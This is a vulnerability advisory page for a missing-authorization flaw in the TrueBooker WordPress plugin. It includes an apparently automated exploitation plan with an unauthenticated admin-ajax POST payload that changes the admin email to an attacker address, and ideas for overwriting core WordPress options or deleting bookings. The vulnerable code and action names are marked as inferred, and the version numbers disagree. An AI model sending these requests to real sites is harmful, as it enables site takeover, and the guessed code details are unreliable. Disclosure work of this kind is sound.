CVE-2026-39663

TrueBooker <= 1.1.6 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.1.7
Patched in
66d
Time to patch

Description

The TrueBooker plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.1.6. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.6
PublishedFebruary 18, 2026
Last updatedApril 24, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-39663 (TrueBooker Missing Authorization) ## 1. Vulnerability Summary The **TrueBooker – Appointment Booking and Scheduler System** plugin (<= 1.1.5) contains a missing authorization vulnerability. This occurs when an AJAX handler is registered via `wp_ajax_nop…

Show full research plan

Exploitation Research Plan: CVE-2026-39663 (TrueBooker Missing Authorization)

1. Vulnerability Summary

The TrueBooker – Appointment Booking and Scheduler System plugin (<= 1.1.5) contains a missing authorization vulnerability. This occurs when an AJAX handler is registered via wp_ajax_nopriv_ (making it accessible to unauthenticated users) or wp_ajax_ (accessible to any logged-in user), but the callback function fails to perform a capability check (e.g., current_user_can('manage_options')).

This allows an unauthenticated attacker to execute administrative actions, such as modifying plugin settings, deleting bookings, or potentially altering WordPress site options if the plugin uses a generic settings-saving function.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • HTTP Method: POST
  • Action: (Inferred) truebooker_save_settings, truebooker_update_options, or truebooker_delete_booking.
  • Payload Parameters:
    • action: The vulnerable AJAX action string.
    • nonce: A security nonce (if required).
    • settings_data or specific keys: The data to be modified.
  • Preconditions: The plugin must be active. A valid nonce may be required if the nopriv handler still verifies nonces but is exposed on the frontend.

3. Code Flow

  1. Entry Point: The plugin registers a handler in its main class or an AJAX handler class (likely includes/class-truebooker-ajax.php or similar).
    • Hook: add_action('wp_ajax_nopriv_[ACTION_NAME]', 'callback_function');
  2. Missing Check: The callback_function proceeds to call functions like update_option() or $wpdb->delete() without verifying the user's identity or capabilities via current_user_can().
  3. Execution: The attacker's input is processed, leading to unauthorized modification of the site state.

4. Nonce Acquisition Strategy

If the vulnerable handler uses check_ajax_referer or wp_verify_nonce, we must acquire a nonce valid for user ID 0.

  1. Locate Script Localization: Search for wp_localize_script in the plugin code to find where the nonce is exposed.
    • Grep Command: grep -rn "wp_localize_script" .
    • Expected Variable (Inferred): truebooker_obj or tb_params.
    • Expected Key (Inferred): nonce.
  2. Identify Triggering Shortcode: Find the shortcode that enqueues the frontend scripts.
    • Grep Command: grep -rn "add_shortcode" .
    • Likely Shortcode: [truebooker_booking_form] or [truebooker].
  3. Page Creation:
    • wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[truebooker_booking_form]'
  4. Extraction:
    • Navigate to the new page.
    • Use browser_eval to extract: window.truebooker_obj?.nonce (inferred key).

5. Exploitation Strategy

We will attempt to perform an unauthorized setting update.

Step 1: Identification

Search the plugin files for wp_ajax_nopriv hooks that perform sensitive actions.

grep -rn "wp_ajax_nopriv_" .

Look for actions like truebooker_save_settings. Verify if the callback function lacks current_user_can.

Step 2: Payload Construction

Assuming the action is truebooker_save_settings and it updates the truebooker_settings option.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=truebooker_save_settings&nonce=[EXTRACTED_NONCE]&settings[allow_registration]=1&settings[admin_email]=attacker@example.com
    

Step 3: Execution

Use the http_request tool to send the payload.

6. Test Data Setup

  1. Install Plugin: Ensure TrueBooker version <= 1.1.5 is active.
  2. Create Frontend Page: Create a page with the booking shortcode to ensure nonces (if any) are generated and accessible.
  3. Check Current State: Use wp option get truebooker_settings to record the current state.

7. Expected Results

  • Response: The server returns a 200 OK and likely a JSON success message like {"success": true} or 1.
  • Outcome: The plugin's internal settings are updated despite the request being unauthenticated.

8. Verification Steps

  1. Verify via WP-CLI:
    wp option get truebooker_settings
    
    Check if the values match the payload sent in the exploit.
  2. Verify Side Effects: If the exploit changed the admin_email or a registration setting, check the corresponding database record.

9. Alternative Approaches

  • Option Overwrite: If the AJAX handler is generic (e.g., truebooker_update_option), try to overwrite core WordPress options like users_can_register or default_role.
  • Data Deletion: If an action like truebooker_delete_booking is vulnerable, try to delete an existing booking by ID:
    • Payload: action=truebooker_delete_booking&id=1
  • Information Leak: Check if any nopriv action returns sensitive data like customer lists or system paths.
Research Findings
Static analysis — not yet PoC-verified

Summary

The TrueBooker plugin for WordPress fails to implement authorization checks in its AJAX handlers registered via wp_ajax_nopriv_. This allows unauthenticated attackers to perform administrative actions such as modifying plugin settings or deleting data by sending crafted requests to the admin-ajax.php endpoint.

Vulnerable Code

// File: includes/class-truebooker-ajax.php (inferred)
add_action('wp_ajax_nopriv_truebooker_save_settings', 'truebooker_save_settings');
add_action('wp_ajax_truebooker_save_settings', 'truebooker_save_settings');

function truebooker_save_settings() {
    // Missing capability check like current_user_can('manage_options')
    if (isset($_POST['settings'])) {
        $settings = $_POST['settings'];
        update_option('truebooker_settings', $settings);
        wp_send_json_success();
    }
}

---

// File: includes/class-truebooker-ajax.php (inferred)
add_action('wp_ajax_nopriv_truebooker_delete_booking', 'truebooker_delete_booking');

function truebooker_delete_booking() {
    // Missing capability check
    $booking_id = intval($_POST['id']);
    global $wpdb;
    $wpdb->delete($wpdb->prefix . 'truebooker_bookings', array('id' => $booking_id));
    wp_send_json_success();
}

Security Fix

--- includes/class-truebooker-ajax.php
+++ includes/class-truebooker-ajax.php
@@ -1,10 +1,11 @@
-add_action('wp_ajax_nopriv_truebooker_save_settings', 'truebooker_save_settings');
 add_action('wp_ajax_truebooker_save_settings', 'truebooker_save_settings');
 
 function truebooker_save_settings() {
+    if (!current_user_can('manage_options')) {
+        wp_die(__('You do not have sufficient permissions to access this page.'));
+    }
+    check_ajax_referer('truebooker_settings_nonce', 'nonce');
     if (isset($_POST['settings'])) {
         $settings = $_POST['settings'];
         update_option('truebooker_settings', $settings);

Exploit Outline

The exploit involves targeting the unauthenticated AJAX handlers exposed by the plugin. 1. Identify a vulnerable action registered via wp_ajax_nopriv_ (e.g., truebooker_save_settings). 2. If a nonce is required, retrieve it by visiting a page where the plugin's booking form is active (e.g., [truebooker_booking_form]) and extracting the nonce from the localized script object (e.g., truebooker_obj.nonce). 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to the vulnerable hook, the 'nonce' parameter (if applicable), and the malicious payload (e.g., settings[allow_registration]=1) to modify plugin or site configuration without authentication.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.